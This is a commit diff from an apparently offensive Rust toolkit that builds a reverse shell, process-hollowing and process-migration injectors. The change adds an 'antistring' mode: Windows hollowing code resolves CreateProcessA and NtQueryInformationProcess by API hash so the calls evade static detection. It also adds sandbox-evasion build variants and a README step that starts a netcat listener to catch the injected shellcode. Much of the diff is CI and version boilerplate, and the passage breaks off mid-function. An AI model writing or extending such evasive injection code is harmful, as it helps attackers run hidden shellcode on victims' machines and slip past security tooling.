mirror of
https://github.com/kmanc/remote_code_oxidation
synced 2026-06-08 15:21:46 +00:00
Antistring (#44)
* updates to rco_utils to support api hashing * version bumps, feature adjustments * fix tcp cargo * make the functions public * hash params done * add antisand as an optional feature of tcp_reverse shell * fix links in comments * lots of cleanup on tcp_reverse_shell * clippy recommendation * fully de-stringed version is complete, but gotta figure out how i want to toggle them * all changes to support antisand and antistring complete! * antisand and antistring were incompatible because of imports; fixed that. also there is a new implementation of antisand with antistring applied * antistring support for process hollowing * antistring updates for process migration * lock updatrer * i think this covers the builds needed * new tool * readme updates * more readme updates * Update README.md * Update README.md * Update reverse shell badge data via Github Action * Update process migration badge data via Github Action * Update process hollowing badge data via Github Action * trying a new workflow trigger * undoing, didnt work the way i wanted it to Co-authored-by: kmanc <kmanc@users.noreply.github.com>
This commit is contained in:
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "hash_params",
|
||||
"message": "1.0.0",
|
||||
"color": "blue"
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "process_hollowing",
|
||||
"message": "1.5.0",
|
||||
"message": "1.6.0",
|
||||
"color": "blue"
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "process_migration",
|
||||
"message": "1.7.0",
|
||||
"message": "1.8.0",
|
||||
"color": "blue"
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "tcp_reverse_shell",
|
||||
"message": "1.1.5",
|
||||
"message": "1.2.0",
|
||||
"color": "blue"
|
||||
}
|
||||
@@ -1,10 +1,10 @@
|
||||
name: RCO for Linux targets
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ master ]
|
||||
pull_request:
|
||||
branches: [ master ]
|
||||
push:
|
||||
branches: [ master ]
|
||||
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
@@ -23,6 +23,45 @@ jobs:
|
||||
- name: Build reverse shell for Linux
|
||||
run: cargo build -p tcp_reverse_shell --verbose
|
||||
|
||||
linux-reverse-shell-antisand:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: Update rust
|
||||
run: rustup update
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build reverse shell for Linux
|
||||
run: cargo build -p tcp_reverse_shell --features antisand --verbose
|
||||
|
||||
linux-reverse-shell-antistring:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: Update rust
|
||||
run: rustup update
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build reverse shell for Linux
|
||||
run: cargo build -p tcp_reverse_shell --features antistring --verbose
|
||||
|
||||
linux-reverse-shell-all:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: Update rust
|
||||
run: rustup update
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build reverse shell for Linux
|
||||
run: cargo build -p tcp_reverse_shell --features antisand,antistring --verbose
|
||||
|
||||
linux-process-migration:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
@@ -62,6 +101,19 @@ jobs:
|
||||
- name: Build process migration for Linux
|
||||
run: cargo build -p process_migration --features antisand --verbose
|
||||
|
||||
linux-process-migration-antistring:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: Update rust
|
||||
run: rustup update
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build process migration for Linux
|
||||
run: cargo build -p process_migration --features antistring --verbose
|
||||
|
||||
linux-process-migration-all:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
@@ -73,7 +125,7 @@ jobs:
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build process migration for Linux
|
||||
run: cargo build -p process_migration --features xor,antisand --verbose
|
||||
run: cargo build -p process_migration --features xor,antisand,antistring --verbose
|
||||
|
||||
linux-process-hollowing:
|
||||
|
||||
@@ -114,6 +166,19 @@ jobs:
|
||||
- name: Build process hollowing for Linux
|
||||
run: cargo build -p process_hollowing --features antisand --verbose
|
||||
|
||||
linux-process-hollowing-antistring:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: Update rust
|
||||
run: rustup update
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build process hollowing for Linux
|
||||
run: cargo build -p process_hollowing --features antistring --verbose
|
||||
|
||||
linux-process-hollowing-all:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
@@ -125,7 +190,7 @@ jobs:
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build process hollowing for Linux
|
||||
run: cargo build -p process_hollowing --features xor,antisand --verbose
|
||||
run: cargo build -p process_hollowing --features xor,antisand,antistring --verbose
|
||||
|
||||
linux-xor-params:
|
||||
|
||||
@@ -140,6 +205,19 @@ jobs:
|
||||
- name: Build xor shellcode for Linux
|
||||
run: cargo build -p xor_params --verbose
|
||||
|
||||
linux-hash-params:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: Update rust
|
||||
run: rustup update
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build hash shellcode for Linux
|
||||
run: cargo build -p hash_params --verbose
|
||||
|
||||
linux-all:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
@@ -179,6 +257,19 @@ jobs:
|
||||
- name: Build all for Linux
|
||||
run: cargo build --features antisand --verbose
|
||||
|
||||
linux-all-antistring:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: Update rust
|
||||
run: rustup update
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build all for Linux
|
||||
run: cargo build --features antistring --verbose
|
||||
|
||||
linux-all-all:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
@@ -190,4 +281,4 @@ jobs:
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build all for Linux
|
||||
run: cargo build --features xor,antisand --verbose
|
||||
run: cargo build --features xor,antisand,antistring --verbose
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
name: Shields data builder
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ master ]
|
||||
pull_request:
|
||||
branches: [ master ]
|
||||
push:
|
||||
branches: [ master ]
|
||||
|
||||
jobs:
|
||||
update-reverse-shell:
|
||||
@@ -96,4 +96,27 @@ jobs:
|
||||
value: ${{ steps.xor_params_ver.outputs.app_version }}
|
||||
- uses: stefanzweifel/git-auto-commit-action@v4
|
||||
with:
|
||||
commit_message: "Update xor params badge data via Github Action"
|
||||
commit_message: "Update xor params badge data via Github Action"
|
||||
|
||||
update-hash-params:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
needs: update-xor-params
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
with:
|
||||
ref: ${{ github.head_ref }}
|
||||
- uses: dante-signal31/rust-app-version@v1.0.0
|
||||
id: hash_params_ver
|
||||
with:
|
||||
cargo_toml_folder: 'hash_params/'
|
||||
- name: Update hash_params version
|
||||
uses: jossef/action-set-json-field@v1
|
||||
with:
|
||||
file: '.custom_shields/hash_params.json'
|
||||
field: message
|
||||
value: ${{ steps.hash_params_ver.outputs.app_version }}
|
||||
- uses: stefanzweifel/git-auto-commit-action@v4
|
||||
with:
|
||||
commit_message: "Update hash params badge data via Github Action"
|
||||
@@ -1,10 +1,10 @@
|
||||
name: RCO for Windows targets
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ master ]
|
||||
pull_request:
|
||||
branches: [ master ]
|
||||
push:
|
||||
branches: [ master ]
|
||||
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
@@ -29,6 +29,63 @@ jobs:
|
||||
run: cargo update
|
||||
- name: Build reverse shell for Windows
|
||||
run: cargo build -p tcp_reverse_shell --target x86_64-pc-windows-gnu --verbose
|
||||
|
||||
windows-reverse-shell-antisand:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Update rust
|
||||
run: rustup update
|
||||
- name: Apt update
|
||||
run: sudo apt-get update
|
||||
- name: Install linker
|
||||
run: sudo apt-get -y install mingw-w64
|
||||
- name: Add Windows build target
|
||||
run: rustup target add x86_64-pc-windows-gnu
|
||||
- uses: actions/checkout@v2
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build reverse shell for Windows
|
||||
run: cargo build -p tcp_reverse_shell --target x86_64-pc-windows-gnu --features antisand --verbose
|
||||
|
||||
windows-reverse-shell-antistring:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Update rust
|
||||
run: rustup update
|
||||
- name: Apt update
|
||||
run: sudo apt-get update
|
||||
- name: Install linker
|
||||
run: sudo apt-get -y install mingw-w64
|
||||
- name: Add Windows build target
|
||||
run: rustup target add x86_64-pc-windows-gnu
|
||||
- uses: actions/checkout@v2
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build reverse shell for Windows
|
||||
run: cargo build -p tcp_reverse_shell --target x86_64-pc-windows-gnu --features antistring --verbose
|
||||
|
||||
windows-reverse-shell-all:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Update rust
|
||||
run: rustup update
|
||||
- name: Apt update
|
||||
run: sudo apt-get update
|
||||
- name: Install linker
|
||||
run: sudo apt-get -y install mingw-w64
|
||||
- name: Add Windows build target
|
||||
run: rustup target add x86_64-pc-windows-gnu
|
||||
- uses: actions/checkout@v2
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build reverse shell for Windows
|
||||
run: cargo build -p tcp_reverse_shell --target x86_64-pc-windows-gnu --features antisand,antistring --verbose
|
||||
|
||||
windows-process-migration:
|
||||
|
||||
@@ -87,6 +144,25 @@ jobs:
|
||||
- name: Build process migration for Windows
|
||||
run: cargo build -p process_migration --target x86_64-pc-windows-gnu --features antisand --verbose
|
||||
|
||||
windows-process-migration-antistring:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Update rust
|
||||
run: rustup update
|
||||
- name: Apt update
|
||||
run: sudo apt-get update
|
||||
- name: Install linker
|
||||
run: sudo apt-get -y install mingw-w64
|
||||
- name: Add Windows build target
|
||||
run: rustup target add x86_64-pc-windows-gnu
|
||||
- uses: actions/checkout@v2
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build process migration for Windows
|
||||
run: cargo build -p process_migration --target x86_64-pc-windows-gnu --features antistring --verbose
|
||||
|
||||
windows-process-migration-all:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
@@ -104,7 +180,7 @@ jobs:
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build process migration for Windows
|
||||
run: cargo build -p process_migration --target x86_64-pc-windows-gnu --features xor,antisand --verbose
|
||||
run: cargo build -p process_migration --target x86_64-pc-windows-gnu --features xor,antisand,antistring --verbose
|
||||
|
||||
windows-process-hollowing:
|
||||
|
||||
@@ -163,6 +239,25 @@ jobs:
|
||||
- name: Build process hollowing for Windows
|
||||
run: cargo build -p process_hollowing --target x86_64-pc-windows-gnu --features antisand --verbose
|
||||
|
||||
windows-process-hollowing-antistring:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Update rust
|
||||
run: rustup update
|
||||
- name: Apt update
|
||||
run: sudo apt-get update
|
||||
- name: Install linker
|
||||
run: sudo apt-get -y install mingw-w64
|
||||
- name: Add Windows build target
|
||||
run: rustup target add x86_64-pc-windows-gnu
|
||||
- uses: actions/checkout@v2
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build process hollowing for Windows
|
||||
run: cargo build -p process_hollowing --target x86_64-pc-windows-gnu --features antistring --verbose
|
||||
|
||||
windows-process-hollowing-all:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
@@ -180,9 +275,9 @@ jobs:
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build process hollowing for Windows
|
||||
run: cargo build -p process_hollowing --target x86_64-pc-windows-gnu --features xor,antisand --verbose
|
||||
run: cargo build -p process_hollowing --target x86_64-pc-windows-gnu --features xor,antisand,antistring --verbose
|
||||
|
||||
windows-xor_params:
|
||||
windows-xor-params:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
@@ -201,6 +296,25 @@ jobs:
|
||||
- name: Build xor shellcode for Windows
|
||||
run: cargo build -p xor_params --target x86_64-pc-windows-gnu --verbose
|
||||
|
||||
windows-hash-params:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Update rust
|
||||
run: rustup update
|
||||
- name: Apt update
|
||||
run: sudo apt-get update
|
||||
- name: Install linker
|
||||
run: sudo apt-get -y install mingw-w64
|
||||
- name: Add Windows build target
|
||||
run: rustup target add x86_64-pc-windows-gnu
|
||||
- uses: actions/checkout@v2
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build xor shellcode for Windows
|
||||
run: cargo build -p hash_params --target x86_64-pc-windows-gnu --verbose
|
||||
|
||||
windows-all:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
@@ -258,6 +372,25 @@ jobs:
|
||||
- name: Build all for Windows
|
||||
run: cargo build --target x86_64-pc-windows-gnu --features antisand --verbose
|
||||
|
||||
windows-all-antistring:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Update rust
|
||||
run: rustup update
|
||||
- name: Apt update
|
||||
run: sudo apt-get update
|
||||
- name: Install linker
|
||||
run: sudo apt-get -y install mingw-w64
|
||||
- name: Add Windows build target
|
||||
run: rustup target add x86_64-pc-windows-gnu
|
||||
- uses: actions/checkout@v2
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build all for Windows
|
||||
run: cargo build --target x86_64-pc-windows-gnu --features antistring --verbose
|
||||
|
||||
windows-all-all:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
@@ -275,4 +408,4 @@ jobs:
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build all for Windows
|
||||
run: cargo build --target x86_64-pc-windows-gnu --features xor,antisand --verbose
|
||||
run: cargo build --target x86_64-pc-windows-gnu --features xor,antisand,antistring --verbose
|
||||
|
||||
Generated
+16
-14
@@ -14,12 +14,6 @@ version = "1.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
|
||||
|
||||
[[package]]
|
||||
name = "cc"
|
||||
version = "1.0.73"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11"
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
version = "1.0.0"
|
||||
@@ -37,11 +31,19 @@ dependencies = [
|
||||
"wasi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "hash_params"
|
||||
version = "1.0.0"
|
||||
dependencies = [
|
||||
"rco_config",
|
||||
"rco_utils",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.122"
|
||||
version = "0.2.124"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ec647867e2bf0772e28c8bcde4f0d19a9216916e890543b5a03ed8ef27b8f259"
|
||||
checksum = "21a41fed9d98f27ab1c6d161da622a4fa35e8a54a8adc24bbf3ddd0ef70b0e50"
|
||||
|
||||
[[package]]
|
||||
name = "memoffset"
|
||||
@@ -54,12 +56,11 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "nix"
|
||||
version = "0.23.1"
|
||||
version = "0.24.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9f866317acbd3a240710c63f065ffb1e4fd466259045ccb504130b7f668f35c6"
|
||||
checksum = "8f6d99b651ff9697d6710f9613a07c5b4e0d655040faf56b3b471af108d55597"
|
||||
dependencies = [
|
||||
"bitflags",
|
||||
"cc",
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"memoffset",
|
||||
@@ -73,7 +74,7 @@ checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872"
|
||||
|
||||
[[package]]
|
||||
name = "process_hollowing"
|
||||
version = "1.5.0"
|
||||
version = "1.6.0"
|
||||
dependencies = [
|
||||
"nix",
|
||||
"rco_config",
|
||||
@@ -83,7 +84,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "process_migration"
|
||||
version = "1.7.0"
|
||||
version = "1.8.0"
|
||||
dependencies = [
|
||||
"nix",
|
||||
"rco_config",
|
||||
@@ -135,9 +136,10 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "tcp_reverse_shell"
|
||||
version = "1.1.5"
|
||||
version = "1.2.0"
|
||||
dependencies = [
|
||||
"rco_config",
|
||||
"rco_utils",
|
||||
"windows",
|
||||
]
|
||||
|
||||
|
||||
+4
-3
@@ -1,11 +1,12 @@
|
||||
[workspace]
|
||||
|
||||
members = [
|
||||
"hash_params",
|
||||
"process_hollowing",
|
||||
"process_migration",
|
||||
"rco_config",
|
||||
"rco_utils",
|
||||
"tcp_reverse_shell",
|
||||
"process_migration",
|
||||
"process_hollowing",
|
||||
"tcp_reverse_shell",
|
||||
"xor_params",
|
||||
]
|
||||
|
||||
|
||||
@@ -11,12 +11,14 @@ RCO tools can be compiled on either Linux or Windows systems to provide its user
|
||||
|
||||
|
||||
## Tools list
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/tcp_reverse_shell)
|
||||
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/process_migration)
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/hash_params)
|
||||
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/process_hollowing)
|
||||
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/process_migration)
|
||||
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/tcp_reverse_shell)
|
||||
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/xor_params)
|
||||
|
||||
## Setup
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
[package]
|
||||
name = "hash_params"
|
||||
version = "1.0.0"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
rust-version = "1.59"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
rco_config = {path = "../rco_config"}
|
||||
rco_utils = {path = "../rco_utils", features = ["antistring"] }
|
||||
@@ -0,0 +1,26 @@
|
||||
# RCO: Hash Params
|
||||
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/hash_params)
|
||||
|
||||

|
||||
|
||||
|
||||
## How it works
|
||||
|
||||
Hash params performs Rust's default hash algorithm ([SipHash-1-3 at the time of this writing](https://en.wikipedia.org/wiki/SipHash)) on command line arguments and prints their output in hex. This should not be considered cryptographically secure, but works for obfuscating a value in a repeatable way.
|
||||
|
||||
|
||||
## Using it
|
||||
|
||||
1. [Not shown in GIF] Compile the executable
|
||||
|
||||
#### For Linux
|
||||
```commandline
|
||||
cargo build -p hash_params --release
|
||||
```
|
||||
|
||||
#### For Windows
|
||||
```commandline
|
||||
cargo build --target x86_64-pc-windows-gnu -p hash_params --release
|
||||
```
|
||||
2. Run the executable with the desired hash targets
|
||||
@@ -0,0 +1,9 @@
|
||||
use std::env;
|
||||
|
||||
fn main() {
|
||||
let args: Vec<String> = env::args().collect();
|
||||
for arg in args[1..].iter() {
|
||||
let hashed = rco_utils::calculate_hash(arg);
|
||||
println!("{arg} --> {hashed:x}");
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "process_hollowing"
|
||||
version = "1.5.0"
|
||||
version = "1.6.0"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
rust-version = "1.59"
|
||||
@@ -10,6 +10,8 @@ rust-version = "1.59"
|
||||
[features]
|
||||
xor = ["rco_utils/xor"]
|
||||
antisand = ["rco_utils/antisand"]
|
||||
antistring = ["rco_utils/antistring"]
|
||||
|
||||
|
||||
[dependencies]
|
||||
rco_config = {path = "../rco_config"}
|
||||
|
||||
@@ -23,12 +23,12 @@ and change the shellcode to the shellcode generated in step 1
|
||||
|
||||
#### Build for Linux target
|
||||
```commandline
|
||||
cargo build -p process_hollowing [--features [xor][antisand]] --release
|
||||
cargo build -p process_hollowing [xor][,][antisand][,][antistring]] --release
|
||||
```
|
||||
|
||||
#### Build for Windows target
|
||||
```commandline
|
||||
cargo build --target x86_64-pc-windows-gnu -p process_hollowing [--features [xor][antisand]] --release
|
||||
cargo build --target x86_64-pc-windows-gnu -p process_hollowing [xor][,][antisand][,][antistring]] --release
|
||||
```
|
||||
5. Start a netcat listener on the attacking machine on the same port you configured the shellcode to connect to in step 1
|
||||
```commandline
|
||||
|
||||
@@ -18,8 +18,10 @@ const TARGET_PROCESS: &[u8] = rco_config::ENCRYPTED_LINUX_HOLLOWING_TARGET;
|
||||
// Load Windows implementation if the target OS is Windows
|
||||
#[cfg(windows)]
|
||||
mod rco_process_hollowing_windows;
|
||||
#[cfg(windows)]
|
||||
#[cfg(all(windows, not(feature = "antistring")))]
|
||||
use rco_process_hollowing_windows::hollow_and_run;
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use rco_process_hollowing_windows::antistring_hollow_and_run as hollow_and_run;
|
||||
// Determine which shellcode and target process to use based on features
|
||||
#[cfg(all(windows, not(feature = "xor")))]
|
||||
const SHELLCODE: &[u8] = rco_config::WINDOWS_SHELLCODE;
|
||||
|
||||
@@ -2,8 +2,17 @@ extern crate windows;
|
||||
use std::{mem, ptr};
|
||||
use std::ffi::{CString, c_void};
|
||||
use windows::core::{PCSTR, PSTR};
|
||||
use windows::Win32::System::Threading::{CREATE_SUSPENDED,PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION, PROCESSINFOCLASS, STARTUPINFOA};
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::System::Threading::{CreateProcessA, NtQueryInformationProcess, ResumeThread};
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::System::Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory};
|
||||
use windows::Win32::System::Threading::{CreateProcessA, CREATE_SUSPENDED, NtQueryInformationProcess, PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION, PROCESSINFOCLASS, ResumeThread, STARTUPINFOA};
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::Foundation::{BOOL, HANDLE};
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::Security::SECURITY_ATTRIBUTES;
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::System::Threading::PROCESS_CREATION_FLAGS;
|
||||
|
||||
const POINTER_SIZE: usize = mem::size_of::<&u8>();
|
||||
const POINTER_SIZE_TIMES_SIX: u32 = POINTER_SIZE as u32 * 6;
|
||||
@@ -30,10 +39,11 @@ fn array_to_u64_lit_end(array: &[u8; 8]) -> u64 {
|
||||
(array[7] as u64) << 56
|
||||
}
|
||||
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
// Create empty StartupInfoA struct for use in CreateProcess
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfow
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/struct.STARTUPINFOW.html
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/struct.STARTUPINFOA.html
|
||||
let startup_info: STARTUPINFOA = unsafe { mem::zeroed() };
|
||||
|
||||
// Create empty ProcessInformation struct for use in CreateProcess
|
||||
@@ -41,9 +51,9 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/struct.PROCESS_INFORMATION.html
|
||||
let mut process_information: PROCESS_INFORMATION = unsafe { mem::zeroed() };
|
||||
|
||||
// Use CreateProcessW to create a suspended process that will be hollowed out for the shellcode
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessW.html
|
||||
// Use CreateProcessA to create a suspended process that will be hollowed out for the shellcode
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessA.html
|
||||
let lp_application_name: PCSTR = unsafe { mem::zeroed() };
|
||||
let mut lp_command_line: PSTR = unsafe { mem::zeroed() };
|
||||
lp_command_line.0 = CString::new(target_process).unwrap().into_raw() as *mut u8;
|
||||
@@ -55,7 +65,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
ptr::null(),
|
||||
false,
|
||||
CREATE_SUSPENDED,
|
||||
ptr::null() as *const _,
|
||||
ptr::null(),
|
||||
lp_current_directory,
|
||||
&startup_info,
|
||||
&mut process_information) };
|
||||
@@ -63,16 +73,12 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
panic!("Could not create the suspended {target_process} with CreateProcessA");
|
||||
}
|
||||
|
||||
// Create empty PROCESS_BASIC_INFORMATION struct for use in ZwQueryInformationProcess
|
||||
// WINDOWS --> https://www.pinvoke.net/default.aspx/Structures/PROCESS_BASIC_INFORMATION.html
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/struct.PROCESS_BASIC_INFORMATION.html
|
||||
let process_handle = process_information.hProcess;
|
||||
let mut basic_information: PROCESS_BASIC_INFORMATION = unsafe { mem::zeroed() };
|
||||
let info_class: PROCESSINFOCLASS = unsafe { mem::zeroed() };
|
||||
|
||||
// Get the PEB base address of the suspended process with ZwQueryInformationProcess
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.NtQueryInformationProcess.html
|
||||
let process_handle = process_information.hProcess;
|
||||
let mut basic_information: PROCESS_BASIC_INFORMATION = unsafe { mem::zeroed() };
|
||||
let info_class: PROCESSINFOCLASS = unsafe { mem::zeroed() };
|
||||
if let Err(error) = unsafe { NtQueryInformationProcess(process_handle, info_class, &mut basic_information as *mut _ as *mut c_void, POINTER_SIZE_TIMES_SIX, ptr::null_mut()) } {
|
||||
panic!("Could not get the entry point with ZwQueryInformationProcess: {error}");
|
||||
}
|
||||
@@ -118,3 +124,80 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
panic!("Could not resume the suspended {target_process}'s execution");
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(feature = "antistring")]
|
||||
pub fn antistring_hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
// See line 44
|
||||
let startup_info: STARTUPINFOA = unsafe { mem::zeroed() };
|
||||
|
||||
// See line 49
|
||||
let mut process_information: PROCESS_INFORMATION = unsafe { mem::zeroed() };
|
||||
|
||||
// See line 54
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap();
|
||||
let lp_application_name: PCSTR = unsafe { mem::zeroed() };
|
||||
let mut lp_command_line: PSTR = unsafe { mem::zeroed() };
|
||||
lp_command_line.0 = CString::new(target_process).unwrap().into_raw() as *mut u8;
|
||||
let lp_current_directory: PCSTR = unsafe { mem::zeroed() };
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION) -> BOOL>
|
||||
(function)(lp_application_name,
|
||||
lp_command_line,
|
||||
ptr::null(),
|
||||
ptr::null(),
|
||||
false,
|
||||
CREATE_SUSPENDED,
|
||||
ptr::null() as *const _,
|
||||
lp_current_directory,
|
||||
&startup_info,
|
||||
&mut process_information)
|
||||
};
|
||||
|
||||
// See line 76
|
||||
let function = rco_utils::find_function_address("Ntdll", 0x9b0d5adddbf90f8a).unwrap();
|
||||
let process_handle = process_information.hProcess;
|
||||
let mut basic_information: PROCESS_BASIC_INFORMATION = unsafe { mem::zeroed() };
|
||||
let info_class: PROCESSINFOCLASS = unsafe { mem::zeroed() };
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, PROCESSINFOCLASS, *mut c_void, u32, *mut u32)>
|
||||
